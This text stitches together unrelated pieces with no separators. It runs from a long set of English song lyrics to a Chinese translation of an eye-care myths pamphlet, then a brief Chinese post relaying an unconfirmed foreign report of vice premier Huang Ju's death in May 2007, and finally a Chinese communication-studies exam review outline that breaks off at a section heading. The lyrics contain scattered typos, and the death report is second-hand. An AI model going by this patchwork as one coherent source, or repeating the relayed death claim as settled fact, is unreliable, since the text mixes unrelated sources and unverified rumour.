!Walk Or Ride\n\nWith just one kiss you could change the world\nIt might not be much better but it certainly couldn't hurt\nWhen you stomp your feet you aren't hurting me\nBut you're always killing something just by living on the earth\n\nSo who you supposed to listen to when you're looking for something to do\nAnd all the voices shut you up\n'Cause someone put a brick in your coffee cup\nWhen you're trying to decide whether to walk or to ride\nTake the easy way you know that you want to\n\nI saw an educated girl give her hair a twirl\nAnd contemplate the meaning of a man with just one arm\nShe's not a genius or a dunce but it makes no difference\nFor at any moment we might find ourselves a charm\n\nBut I'm feeling quite confused by the people who refuse to see\nA simple way of life don't make you the loser\nThey say we won't make it far if we don't drive there in a car\nBut we'll be there with time to spare and find our own way home\n\nYou might find the meaning in the barrel of a rifle\nIf it's pointed at a bird or if it's pointed at your head\nBut me I'd rather plant a tree that grows up tall for all to see\nUntil I need a pencil then I'll chop it to the ground\n\nAt night falling down will it make a sound\nShould I even wonder what it'd say\nIt's so hard to change yourself easier to tell someone else\nThat everything is going to be ok\n\nOoooh\n\n!Wishful Thinking\n\nWhy does blood turn brown when it dries\nWhy do the tears well up in your eyes\nWhy didn't I learn to ride my bike\nWhen it was warm and sunny outside\n\nWhy can't little kids tie their shoes\nWhy can't the white people play the blues\nWhy can't I fall in love with you\nIt must be because of the seasons\n\nWhen the leaves start falling from the trees\nWhen the birds start flirting with the bees\nWhen the wind starts blowing from the East to the West\nMaybe you'll be the one that I like best\n\nClouds start forming I can't complain\n'Cause I think we might be in need of some rain\nWhen it starts pouring\nDon't hide away without me\n\nI bought an umbrella big enough for two\nBut it feels pretty empty under here without you\nDry as a bone but I'm still alone\nI'm so gray\n\nWhen you're standing in a puddle with wet feet\nAnd your head is sore from pounding drops of sleet\nWhen the cold and lonely hours put your heart to the test\nMaybe I'll be the one that you like best\n\nIf the sky can open its eyes\nAnd cry from up above\nLet's shed some tears of joy\nAnd fall in love\n\n!Ooh La La\n\nWhat among the lovers\nWhat twang of temptation\nWhat brought the house down\nStrange sleepwalkers on the block\nUnfamiliar writing on the ceiling\nWhen she looks up\n\nMomma buried pop atop the roof where he slept\nOne leg on each side of pointed shingles\nLatest tests prove that she's happier with more\nThe oyster is open for any to pearl\n\nStill she's got three different lullablies to sing\nThese fruited images are delicacies\n\nWas it the fighting was it the fist\nWas it adventure with a jealous twist\nWas it desire for another's kiss\nWhat brought the house down\n\nTurmoil and passion such wondrous things\nWhat they called Summer lovers happening in Spring\nWho's dreaming of who tonight\nWho'll be walking by your side\nAt the dawning's first light\n\nDo all he can to save a soon to be dead past\nGive it all up to find a new way that will last\n\nWas she wrong to hold his heart another person's hand\nThe grass is always greener 'til it's covered up with sand\nWas it other things\nFate, felicity\nWhat rousing temptation\n\nShe knew that love could swell without barricades\nStandards must be broken even these\nNow she has three different lullabies to sing\nThese fruited images lead her to sleep\n\nWas it the fighting was it the fist\nWas it adventure with a jealous twist\nWas it desire for another's kiss\nWhat brought the house down\n\n!Sister Kate\nWords and music by A. J. Piron\n\nIf I could shimmy like my sister Kate\nShake it like a bowl of jelly on a plate\nMy momma wanted to know last night\nHow sister Kate could do it oh so nice\n\nNow all the boys in the neighborhood\nKnew Katie could shimmy and it's mighty good\nWell I may be late but I'll be up to date\nWhen I can shimmy like my sister Kate\nOh, yeah shimmy like my sister Kate\n\nIf I could shimmy like my sister Kate\nI'd never stay home stay out too late\nI get my stuff about as high as a kite\nYou know I do it for you every night\n\nNow all the boys in the neighborhood\nKnew Katie could shimmy and it's mighty good\nWell I may be late but I'll be up to date\nWhen I can shimmy like my sister Kate\nOh, yeah shimmy like my sister Kate\n\n!Breeze Black Night\n\nBreeze of the black night blows\nOrange light on the white porch glows\nDried up mucous in my nose\nThat's how come I know\n\nFalling leaves hit the ground\nSilent still without much sound\nRustle rustle crackle pound\nPound pound pounding\nDistant TV noise it's drowning\n\nHeart beat softly in my head\nPersistent thoughts make my cool cheeks red\n\nSleepy eyes half awake\nIn the morning shovel rake\nIn the evening hearts will ache\nStill I'm sleepy\nHeart it aches\n\n!Gentle Sheep\n\nClock in you're at work but you're not working so hard\nChecking messages ten times a day ensuring you're not bored\nTalking on someone else's dime\nPut a quarter in the pay phone don't keep them waiting on the line\n\nRushing through time just to find myself\nAsking someone in the future if they'd save me a space\n'Cause the line's getting longer with every hour\nPeople forget why they're waiting\nThe mood's turning sour\n\nI don't want to go to school tomorrow\nStay up late watching TV\nEat a midnight snack I'll pretend it's Friday\nComplacent as I'll ever be\n\nSee those gentle sheep following a path to who knows where\nChewing on the grass so plentiful the wool is growing thicker\nBut the grass is made of plastic and there's plastic on the grass\nA mechanical lady with her garden hose waters the cement\n\nWhere's my mystical pan who plays on his flute\nDancing entrancing those who choose to hear his tune\nThere'll be a man who comes out of hiding\nHe'll be the one who forces you to decide\n\nWhy can't I just believe just believe\nI can move my feet\nPondering is a step beyond wondering\nComplacent as I'll ever be\n\n!Pale Yellow\n\nPale yellow scratching at my ear\nPale yellow touching to my rear\n\nForever tangled forever mustard\nForever my first word's beer\nForever yellow wonder if I'll muster\nAnything other than fear\n\nPale yellow wanting something clear\nPale yellow daunting task cannot be that near\n\nForever leering forever dashing\nForever looking to peers\nForever hollow that's worst than yellow\nPiss is the color of tears\nThis is the color of tears\n\nRunning scared\n\nPale yellow holding on\nBrace yourself to stand\nTell myself it is ok\nTaking my own hand\n\nForever peering into the water\nReturning back to the sea\nUnder the sea foam\nWhere I have come from\nBreathing freely\n\n!Four Left Feet\n\nBe swift make noise\nNo nonsense makes no sense at all\nForget what you don't know\n\nYou said it I heard it\nI even listened I finally learned\nSharing and taking turns\n\nNow it's our chance we'll feel complete\nI'll ask you to dance and if you'll agree\nIt's me and you\nThat makes two with four left feet\n\nFloating on tip toes no tulips beneath us\nJust a cactus or two\nI can't feel a thing\n\nLike a puzzle with pieces that don't fit together\nWe used glue\nAnd the picture dried clear\n\nNow it's our chance we'll feel complete\nI'll ask you to dance and if you'll agree\nIt's me and you\nThat makes two with four left feet\n\nSell ourselves tall even though we look small\nAnd dance with our four left feet\n\n\n!There's A Girl\n\nThere's a girl that you might know\nShe's a friend at least I tell you so\nBut it might surprise you to find\nThere's something going on behind the door\n\nWhen I'm asleep it gives me time to think\nThoughts that I wouldn't dare speak aloud\nI couldn't bare myself before a crowd\n\nI bide my time while biting my tongue\nHold closed my mouth so song is unsung\nGet to the meat of things already\nWith buried secrets the ground is heavy\n\nThat's just the way things used to be\n\nThere's a girl who's close to me\nCloser than you'd like to think\nDig up all the dirt you see\nThere's always more just underneath\n\nI bide my time while biting my tongue\nHold closed my mouth so song is unsung\nGet to the meat of things already\nWith buried secrets the ground is heavy\n\nThat's just the way things used to be\n\n!Unfortunate Few\n\nOh you unfortunate few\nNobody's listening to me\nIt came at a time when I just started\nTo say something interesting\n\nBubbling thoughts I've been thinking a lot\nBut I don't write them down with a smile\nMore of a frown as I'm looking down\nNo pen in my pocket no pockets to fill\n\nFar too long ago my chances were slim\nI'm knocking the door but they won't let me in\nConfiguring why takes the whimsy from whim\nYou're all blocking the door won't you please let me in\n\nOh you unfortunate few\nStuck in your special space\nI'm here on my own thought I'm not alone\nIt feels like a miserable place\n\nAt first you remember but then you forget\nAnd once I'm forgotten you can't get me back\nI'm knocking the door but nobody hears\nI'm banging it down won't you answer it please\n\nAnd nobody's asking for more\nNobody's looking for anything\nNobody wants me to say a thing\nNobody misses the missing\n\nAscend or descend\nUpon a plot with the same ending\nMy timing's no good\nBut it saves me from troubles ahead\n\nBut you might not be figured with eyes\nMight not be figured with ears\nMight not be something to figure at all\nUntil you are actually here\n\nI've gone back on my words which constantly change\nI believe what I mean at the time that I say them\nI'm climbing a wall of infinite height\nI couldn't go through, though try as I might\n\nThey're telling fictional distractions\nFictional stories\nI have heard enough of these\nIs anybody missing me\n\n!Short Stacks\n\nI am treading on cow pile mountains\nBefore you answer my call\nLounging at breakfast a recoiled monster\nWith tied mouth somehow telling all\n\nBefore it breaks before you've listened\nShort stacks are sitting high\nLips are dry maybe you're guessing why\n\nDon't mean to make you sick\nIt just works out that way\nYou say it's walnut bread\nWe know it's what I say\n\nFriends do tell me it's best to say little\nThe less you put out the less that's gone\nBut sitting here lazing the smaller I feel\n'Cause I expand when I let on\n\n!Wake Up\n\nWake up and smell the coffee\nRise and shine\nThe early bird gets the worm\nStrike while the iron's hot\nAnd whistle while you work\n\nStay on the trail\nKeep your hands and arms inside the train\nDon't stray\nWatch your step\nAnd wipe your feet\nDraw inside the lines\n\nWhat if you didn't know where the bad side of town was\nWhere would you wander to\nSo many places from which to choose\nWould you let yourself be\n\nDon't cause a scene\nMind your manners\nSpeak only if spoken to\nYou know what you are not to do\nWatch and learn\n\nWhat if you never were short for time\nAll meettings cancelled clocks stopped at nine\nWithout alarms the silence beams\nInvited to be\n\nWhat if you never heard a word they say\nAnd up were down and night were day\nI bet you'd have a lot more time to play\nIf you'd let yourself go\n\nBreath deep\nSpeak out\nMake up your mind\nBe brave\nFollow your dreams\nListen to your heart\nClose your eyes\nMake a wish\nMy love for you is not like friendship\nCan you tell from my brave toned words\nThis timid girl likes very much your hand\n\n!Moon Over The Freeway\n\nMoon over the freeway catch us as we ride\nWe just left the city, left it far behind\nSilhouettes of palm trees, airplanes cross the moon\nLiving in the moment of the girl who left too soon\nIt's warm, my favorite song comes on\nLet's roll the windows down and drive\nIt feels like summer is a comin' round the corner\nHere she comes\nBrings us shells that listen to what we have to say\nBlows us summer kisses as she turns and walks away\n\nThere she goes, there she goes\nDrive right on, the night is young\n\nWe could drive on and on forever as the hours slip on by\nThey slip like perfect fitting sweaters\nOver shoulders cold from shortened days and wintry nights\nLeft me in September, I thought that she was gone\nInvited her to come again, so she could tag along\nBarefoot on the pavement\nWarm against our feet\nHouses filled with music\nAs we drift through lonely streets\n\n!Angel With An Attitude\n\nContrary to popular opinion\nThe very best things in life are for free\nThrough a practice that I call donation\nI get the things I want quite easily\n\nI got a chip on my shoulder\nAnd a halo on my head\nI'm an angel with an attitude\nAnd my favorite color's red\nI got god on my side\nWho's that? Hell, I don't know\nBut I practice my religion\nWhile I'm stepping on your toes\nGoodness knows\nI gave more than I took\nGoodness knows\nI ain't no saint I ain't no crook\n\nLooking hard, yeah you busy bee\nFor a simple word you charge a simple fee\nIt's a little too late for too little\nBut it's never too late for a lot\nIt's a little too late for too little\nBut it's never too late to take 'em for what they got\n\nFeed the world a giant crust of bread\nBake a cake and give it to 'em when they're dead\nWell I'll take that cake and I will eat it too\nI'll get more than I need so I can share the rest with you\n\n!Fall Awake\n\nCritical eyes are gazing\nFat cows are grazing\nMy eyes are glazing\nHow can you see straight with all the lies\n\nI'm too young\nYou think you're old\nWhy don't you just hold me cold\nI don't like it when you talk about yourself like that\nIt changes the way that I feel\n\nThere'll be no bad dreams\nWhen you're lying next to me\nI don't care about the rules\nWe only answer to ourselves\nAnswer to ourselves\n\nWhy does my sleep tell me of lies\nWaking life full of rotten surprise\nWhy do all the strangers care\nWho knows who is there\nIf you are here and I am where?\nTrapped in the cell of your own brain\nBlood is scarcely moving through your shriveled veins\nDon't let yourself pass you by\nIt can happen in the blink of an eye\n\nThere'll be no bad dreams\nWhen you're lying next to me\nI don't care about the rules\nWe only answer to ourselves\nUntil we fall awake\n\nI feel old now you seem young\nI spent too much time out in the sun\nI got a wrinkle to show for every day\nGive 'em back to me again\nI'll spend them the same\n\nChorus\n\n!Aluminum Can\n\nCrush me down\nAn aluminum can\nPoke me with a fork and half baked yam\nToss me in the frying pan\nI would never bite the hand\nIf I could be sure the hand that feeds me\n\nFeeding frenzy on prescription words\nSwallowing the silence that returns\nFalling in footsteps petrified by time\nUnder madness are familiar faces\n\nChorus:\nAnd you are just a semblance of before\nFollowing the dust and calling it more\nThese are the seeds\nThat beseech the leaves for cover\n\nHiking canyons where people have fallen\nThese are places where some learn to fly\nBreaking escaping molds that are growing\nStepping over cutting off the ties\n\nChorus\n\n!Fish To Fry\n\nHey there little man\nGet out of my fryin' pan\nI got bigger fish to fry than you\n\nIt's high time you listen to me\nI choose my battles carefully\nSo get out of here son\nLet me show you the door\nYou'll be in trouble then\nIf by the time I count to four\nOne two three four\n\nYou been messin' with my mind\nTo waste my time is most unkind\nI got better things to do\nThan to play these pointless games with you\n\nGet down off that horse\nBefore I knock you off\nPut away your big guns\nYou're acting out of fear\nBut I'm not scared of you\nOn the way out watch your rear\nOne two three four\n\nHey there little man\nGet out of my fryin' pan\nI got bigger fish to fry than you\nYou been talkin' off my ear\nThis is the end but you're still here\nOut of here son\nLet me show you the door\nYou'll be in trouble then\nIf by the time I count to four\nOne two three four\n\n!In The Meantime\n\nCat in the upstairs window\nStaring down at me\nLife seems to have a purpose\nWhen you're wandering aimlessly\nIn the meantime\nWhat am I missing\nI'm missing out\nIn the meantime\nI will be living\nThere is no meantime\nThere is only now\n\nIs there something I'm supposed to be doing\nIf there is I just don't know\nTell me so that I can disobey\nThe rules were meant to bend and change\nIf we're not so tight\nWe won't break when we fall\n\nWaiting around all day\nThey didn't make the play\nDon't get mad you'll only get madder\nIt's hard to get even when things don't matter\nStop the tape playing\nMundane chatter and leave\n\nIn between the place you thought\nYou'd be and where you are\nCheck my pulse if I'm living\nFine time to be alive\nFeel the breeze, touch the water\nI'll feel better\nThere's no way I'd rather pass the time\nWandering aimlessly\n\n!It's A Shame\n\nThe hammock that's swinging\nIs bringing the good life perspective\nSipping canned air in the shade\nof an apartment that's built to break\n\nDid you forget\nThe moment you left\nFeeling as wise as a sage\nThrowing your ward across the page\n\nChorus\nLucky, so lucky to be here\nTo get there, remember where you come from, you're going to\nAnd it figures to me\nIt's a shame\nI don't like it\n\nSum up the parts\nCounted so high\nTen fingers down to ten toes\nThat's about as high as it goes\nTeachers that teach incomplete\nSentences running on and on and on and on\nDidn't they teach you a thing\n\nChorus\n\n\n!Waking Up In The City\n\nWaking up in the city\nWhat are we gonna do\nTake a picture to the park\nSing songs about the moon\nI will bring the frisbee\nI will bring the dog\nWe'll frolic in the pesticided grass beneath the smog\nDon't gotta worry 'bout bee stings\nDon't gotta worry 'bout ants\nNow's the time to take off our shoes\nAnd dance that cartoon dance\nIn the afternoon time\nWe will stroll downtown\nPast messengers on bicycles\nAnd men dressed up in gowns\nIf we should get tired, let's just take the bus\nI hope that it's not crowded so we can sit up front\nI can't even see them scrape the sky\nBlurring the fashions whizzing by\n\nSun gets down in the evening\nLights start flashing on\nThe city swells with energy\nThe nightlife has begun\nKustle and bustle\nSo many sites to see\nEndless excitement\nKeeps me up 'till three\nDon't wanna go to the movies\nWho wants to sit inside\nI didn't get on the guest list\nDon't want to wait in line\n\nLet's go eat pierogis at my favorite cafe\nThe waitress are grumpy and\nTheir English ain't so great\nWe'll talk ourselves in circles\nTil the pancakes are all gone\nToday's become tomorrow\nI can see the pink of dawn\nOh, I'm getting tired, I'm oh so tired\nI think it's time to retire\nTime for bed\nTo rest my sleepy head\n\n!Growing Upside Down\n\nCan't escape a past\nThat wasn't ever lived\nAll beginnings ended\nCome back to start again\nAnd the people seem to falter\nAs they watch you fall asunder\nEyes are open and filled with wonder\n\nChorus:\nI'm growing upside down\nWisdom doesn't follow\nJust because you've aged\nAdd a pinch of cinnamon\nIt will make you sage\n\nThere will be an hour\nWhen we'll meet again\nMaybe I won't recognize\nYou in different skin\nI can hear you whispering\nBeneath the din it reels me in\n\nJust as the summer melts winter ice\nTemptations come to tempt you twice\nYou spent too many of you're younger days\nWishing you weren't virgin to her ways\n\nChorus\n\n!Get Up 'N' Go\n\nTakin' it fast takin it slow\nDon't take it at all just get up and go\nCome on let's go\n\nTired of sittin' around the house\nStand right up\nMove on out\nLet's go\nLet's go already let's go\n\nYou won't need this\nYou won't need\nDon't need your purse\nJust leave your hat\nStop stallin' dear\nWe're travelin' far\nIf you wanna look back\nThere's a mirror in the car\n\nThere's no need to procrastinate\nHesitation only makes you late\nCome on let's go\nWhat are we realling rushing for\nDon't ask me that get out the door\nLet's go\nLet's go oh baby let's go\nDo whatever it will take to get up\nAnd get out of here\nYou could rot sitting forever\nWaiting for the coast to clear\nWho needs plan A when you got plan B\nAnd if that don't work then you got plan C\nLet's take the road but not on track\nPrettiest trails are off the patch\nLet's go\n\n!Bye Bye Love\n\nChorus:\nBye bye love\nBye bye happiness\nHello loneliness\nI feel like I could cry\nBye bye my love goodbye\n\nThere goes my baby\nWith someone new\nShe sure looks happy\nI sure feel blue\nShe was my baby\n'till he stepped in\nGoodbye to romance\nThat might've been\n\nChorus\n\nI'm through with romance\nI'm through with love\nI'm through with counting the stars\nAnd here's the reason\nThat I'm so free\nMy lovin' baby is through with me\n\nChorus\n\n!Nosy Neighbor\n\nListen to the sound bites of your neighbors\nThrough the paper thin walls\nMaking variations on their stories\nTold with southern drawls\n\nLook into the dustbin\nPick through rubbish\nFinding clues to bare\nPonder their discussion\nNoshed oh muffins\nTorn up papers spared\n\nIf you value your own skin\nStop yourself from listening in\n\nLovelorn letters\nTarred and feathered\nWe are on display\nPrivate lives\nHave all been scattered\nMysteries gone away\n\nFollowing traces for disgraces\nYou have crossed the line\nWalking in shadows searching\nSecret places it's a sign\nYou've got ears but so have I\nListen close as you walk by\n\nSticking your ears\nInto affairs of others has a price\nThe stakes are higher than you think\nIt's time to roll the dice\nWon't be so lucky this time around\nYou'll disappear not a trace to be found\n\n!Your Head's Too Big\n\nYour head's too big\nIt's taking up too much room\nYour head's too big\nIt grows like a balloon\nAnd it just might float away\nAnd if you're unluckier than that\nSomeone such as myself might come along\nAnd it just might pop\nIt was an accident...it just popped\n\nYour head's too big\nIt's taking up too much room\nIt's filling with hot air\nYou're making your own self swoon\nYou're in love with yourself\n\nYour head's so big and tall\nHow is it then your thoughts are small\nYour head's so big and tall\nYou found yourself and lost us all\n\nYour head's too big\nIt's taking up all the room\nIt's broken through the atmosphere\nYou're rubbing elbows with the moon\n\nChorus
\n\n（方舟子摘译自美国眼科科学院2004年出版的宣传小册子\nEye Care Facts and Myths: A Closer Look）\n\n“在昏暗光线下读书会损害眼睛。”对还是错？\n\n 错。在昏暗光线下用眼不会对眼睛造成损害。许多个世纪以来人们在夜间都是在\n烛光、煤气灯或煤油灯下阅读、缝纫。不过，良好的光线使阅读更容易，能防止眼睛\n疲劳。\n\n“用计算机会损害眼睛。”对还是错？\n\n 错。在计算机或显示屏前工作不会损害你的眼睛。长时间看显示屏，就和阅读或\n做其他近距离工作一样，通常会使你的眼睛眨眼的次数变少。这会使眼睛干燥，可能\n会让人感到眼睛疲劳。不妨试试隔一段时间就休息一下，向上看或望房间的另一头。\n看远处的东西通常会消除眼睛的疲劳感。让脸和屏幕的距离保持在45～60厘米，看的\n角度略微朝下。也可考虑使用人造眼泪。如果你的视觉变模糊或眼睛容易疲劳，你应\n该找眼科医生做检查。\n\n“看电视距离电视机太近会损害小孩的眼睛。”对还是错？\n\n 错。小孩的眼睛要比大人的眼睛更好地适应近距离观看而不感到疲劳。他们通常\n会形成把阅读材料凑在眼前看或坐在电视机跟前看电视的习惯。没有证据表明这样做\n会损害他们的眼睛，而这种习惯通常随着小孩的长大而消失。近视的小孩为了看清楚\n影像通常会坐得离电视机很近。\n\n“视力不好的人应该避免阅读小字体书籍。”对还是错？\n\n 错。有一种说法声称视力不好或戴眼镜的人如果阅读小字体书籍或做很多细活\n将会很快让他们的眼睛“磨损掉”。这种把眼睛当成肌肉看待的观念是不正确的。\n眼睛更像是一个照相机。照相机不会仅仅因为被用来拍摄精细的照片就很快磨损掉。\n你在用眼睛时不需要担心会磨损它们。\n\n“眼镜度数不合适会损害眼睛。”对还是错？\n\n 错。眼镜是用来使你的视觉变敏锐的工具。虽然正确的眼镜会帮助你看得更清楚，\n但是戴错了眼镜或不带眼镜不会对你的眼睛造成实质性损害。不过，8岁以下的小孩\n如果需要戴眼镜的话应该戴为自己定配的眼镜，以防止患上弱视。\n\n“戴眼镜会让你变得离不开它。”对还是错？\n\n 错。眼镜是用来纠正模糊的视力的。既然戴眼镜获得的清晰视力好过不戴时的模糊\n视力，你会发现你因此更频繁地戴眼镜。虽然这会让你觉得你变得离不开眼镜了，而实\n际上你只是习惯了想要看得更清楚而已。\n\n“小孩的斜视长大后会自己变好。”对还是错？\n\n 错。小孩的斜视不会随着年龄的增长自己变好。斜视的小孩的一只眼睛的视力可能\n会变弱，因为大脑会忽略来自弱视眼睛的图像。除非强迫使用这只弱视眼睛，否则它不\n会形成正常的视力，这通常采用遮盖视力强的眼睛的办法。看上去有斜视的小孩应该让\n眼科医生检查。一般来说，斜视越早治疗效果越好。治疗方法包括戴眼罩、眼镜，用眼\n药水、手术，或以上这些方法的结合。
据Timesonlin e报道，黄菊已经 于2007 年5 月9 日凌晨病死于解 放军301医院。 中共高层已予证实。 China's vice premier, Huang Ju, dies” 但国内网媒到现在（GMT+8 21:15 5月9日）好像仍无消息。\n\n高晟同学正式从反党人士沦为仇党人士, 以后支持共产党就是和他过不去.
提纲而众目张，振领而群毛顺\n\n
2007年指定参考书\n\n《传播学总论》 胡正荣 北京广播学院出版社\n\n《传播理论：起源、方法与应用》 沃纳•赛弗林／小詹姆斯•坦卡德 华夏出版社\n\n《传播学史：一种传记式的方法》 罗杰斯 上海译文出版社\n\n《传播理论》 斯蒂文•小约翰 中国社会科学出版社\n\n有关本复习大纲\n\n本大纲以《传播学总论》一书为主线，其结构与《总论》一书一致，同时将《传播理论：起源、方法与应用》中的重点内容整合到大纲中。\n\n对于重点问题，在最后以专题形式进行归纳总结，对答大论述题较为有用。\n\n有关复习\n\n1． 四本书中《总论》和《起源》最为重要，命题分值最高，2004年考试占到150分中的125分，2003年占到150分中的105分（其他45分均为新闻史内容，04年不再考）。因此这两本书请考生务必认真阅读，并且在整个复习阶段最好做到书不离手。\n\n2．《总论》一书是四本书中唯一的中国学者的著作，优点在于条理清晰，结构适合本国人阅读，同时语言较为精炼，因此要以此书作为复习的主线；其缺点在于对有些问题论述过于简单，因此要加以补充。该书中的内容足以应付名词解释和简答题，而论述题则需要在深度和广度上进一步补充提炼。最后一章实践论内容过老，可以不作为重点。\n\n3． 《起源》是美国实用主义传播学的经典著作，里面很多理论对于《总论》一书是极为必要的补充。同时该书有大量案例，对于重点案例应该有所了解，以应付论述题中的“举例说明”。该书重点在第六章及第八章以后的内容。\n\n4．可以这么说，对于传播学中的绝大多数问题，《总论》＋《起源》已经足够，而剩下的两本书则是补充上述两书中没有的内容。《传播学史》一书中的批判学派、芝加哥学派和李普曼的舆论研究是重点；《传播理论》一书中的第一章、第五章、第七章、第八章、第十二章是重点。\n\n第一章 传播学论\n\n第一节 传播学的兴起\n\n传播学兴起的背景\n\n传播研究兴起于二十世纪一二十年代，于四五十年代形成一门学科。其社会基础是：一、资本主义从自由竞争走向垄断竞争，国内市场走向国际市场，对信息的要求越来越高；二、报业加上电影、广播、电视业，初步形成了传播业；三、科学背景：两次科技革命，使研究方法日益科学化，学说日益多样化。\n\n传播学首先产生于美国的原因：一、政治活动重视传播媒介的使用，利用之宣传各自的政治主张，塑造形象工程，战争催化传播，战争期间的宣传尤为重要；二、和平时期各类竞选要求各候选人利用一切宣传手段，在所有媒介上展开攻势；三、经济上美国是二战后最强大的国家，自由市场的竞争更加激烈，生产的扩大，产品的增多促使市场拓展与营销行为的增加；四、大众传播业在战后形成一个相对独立的经济实体，私营产业赢利的特征迫使各媒介为追求更高的发行量（收视率），竞争的压力迫使传播者必须思考并完善传播技巧、传播效果与受众等问题；五、美国的社会生活与大众传播关系日益密切，媒介随之带来的负面影响促使大批社会学家、心理学家关注并研究传播。\n\n传播学的学科基础主要是新闻学、社会学、心理学、三论（信息论、控制论、系统论）、政治学、语言学、文化研究、统计学、符号学等。新闻学是传播学的基础和前身，随着新闻事业扩大到大众传播业，“新闻”的概念也让位于“大众传播”，大众传播的进一步深化，其结果就是“传播学”。新闻学以实务为导向，大众传播学注重理论建设，而传播学则是对传播本质的研究，讨论其核心问题。\n\n传播学研究的对象均为现实的传播实践，关注实践才是传播兴起的根本。\n\n新闻学——大众传播学——传播学\n\n第二节 传播学的发展\n\n批判学派\n\n出现于欧洲的原因：\n\n一、欧洲传播实践与美国的不同，欧洲大众传播业多是公营或国有，强调服务性，美国则基本上私营，商业化程度高，受利润支配。二、欧洲社会人文学科研究传统不同于美国，更强调哲学、社会学的思辨研究和质化分析。\n\n理论基础：\n\n一是法兰克福学派，主张从哲学、社会学的角度研究并批判现代资本主义社会，其代表人物有霍克海默、阿多诺、马尔库塞等。二是西方马克思主义，主张用“马克思主义”的观点对资本主义社会结构、文化与意识形态进行批判。批判学派自身是一个不同观点，不同方法的集合体。\n\n主要流派：\n\n一、法兰克福学派，观点集中于对资本主义社会商业化体制下的文化批判，剖析西方传播媒介“垄断化”和“霸权主义”本质；二、政治经济学派，着重分析西方垄断传播体制的经济结构与市场经济运行过程；三、意识形态学派，着力研究意识形态本身，研究意识形态的表达方式；四、社会文化学派，着重研究大众传播在社会及文化过程中所扮演的角色。\n\n与传统学派的差异：\n\n一、研究目的。传统学派要维护现有社会制度与传播制度，为美国社会的大众传播媒介实现其政治、经济、军事目的而服务，实用性、经验性明显；批判学派则将传播活动置于社会系统中，从哲学、社会学的角度探讨传播与社会结构各要素之间的关系，通过对现有传播状态的分析、批判，试图改变既有事实，促进社会进步。二、研究焦点。传统学派焦点放在传播效果与受众上，服务于实践；批判学派着重研究宏观传播体制、传播者、传播与社会结构各要素之间的关系。三、研究方法。传统学派主要采用社会学、心理学方法，强调定量分析，注重实证，经验，微观；批判学派主要采用哲学、社会学、政治经济学、文化研究等方法，强调定性分析，不排斥定量分析，注重思辨、理论、宏观、全面。\n\n第四节 传播学研究方法\n\n传播学研究方法（特点：方法论基础的多元化和方法的综合性）\n\n定性研究方法系统，建立一套概念体系，借助于理论范式，进行逻辑推演，并据此解释假设的命题，最后得出理论性的结论。其程序为：资料收集——分析定性资料——分析程序（分析归纳、建立理论）——得出定性研究报告。包括人文科学定性研究方法和社会科学定性研究方法。\n\n定量研究方法系统，又称量化研究或实证研究，在占有大量量化事实的基础上，描述、解释和预测研究对象，通过逻辑推论与相关分析，提出理论观点。常用方法有实地调查法、内容分析法、实验法与个案研究法。其程序为：确立研究假设——确定研究方法——收集数据——分析数据——得出结论。\n\n实地调查法\n\n源于19世纪后期的欧洲，是美国传播学研究中的传统方法。\n\n拉扎斯费尔德是最早将此方法引入传播学研究的学者。\n\n步骤包括，提出研究假设，确定实地调查的总体范围与样本，分为全面普查与抽样调查两种，然后确定抽样方案（随机抽样和非随机抽样），设计调查问卷，统计分析调查结果。本方法基本不受人为控制因素影响，较客观、全面准确，但对实际对象的相关性概括不佳。\n\n内容分析法\n\n20世纪20年代开始应用，拉斯韦尔首用\n\n用系统的方法分析传播讯息内容。一般分两个层次，说什么（传播内容）与怎么说（传播形式）。\n\n步骤包括：\n\n1． 提出研究假设，确定研究范围，\n\n2． 制定分类表，确定分析单元，严格界定分类标准，\n\n3． 将讯息内容按分类表的分类方式编码归类，计算各种类别所占比例，各种分析单元所占频数\n\n4． 验证假设，得出结论。\n\n本方法可描述传播内容的倾向，说明信源特征以及读者对信息的意见，描述传播模式。但其分析对象要必须能代表总体状况，防止研究者主观因素影响分类表的科学性。\n\n实验法\n\n源自实验心理学，分为控制实验与自然实验。勒温与霍夫兰最早在传播研究中使用该方法。\n\n步骤包括：\n\n1． 提出假设，\n\n2． 简化众多影响因素，确定自变量与应变量，\n\n3． 将研究对象分为控制组和实验组，\n\n4． 统计分析数据，得出结论。\n\n本方法优势在于可控制，本身逻辑性强，但人为因素强，结论必有误差。而自然实验法虽相对真实，客观、准确，但难于控制。适用于微观的探究因果关系的研究。\n\n控制实验法是指在室内进行的，并且在研究进行时对某些实验因素加以人为控制的一种实验法。\n\n自然实验法是指将实验放置于社会环境中自然进行的实验法\n\n个案研究法\n\n也源自心理学，用于检验某一对象的多方面特征。研究某一特定对象或案例在一定时期内的全面情况，传播学中应用不是很多。怀特首次用本方法对 “把关人”进行实际研究。个案研究一般没有事先的研究假设，结果都从案例研究中得出，也不证实假设，其价值在于深入全面地占有研究对象的资料，可以提供许多材料与见解，供其他研究作基础使用，由后续研究得出一般结论。个案研究法就是检测某一对象的多方面特征的研究方法\n\n第五节 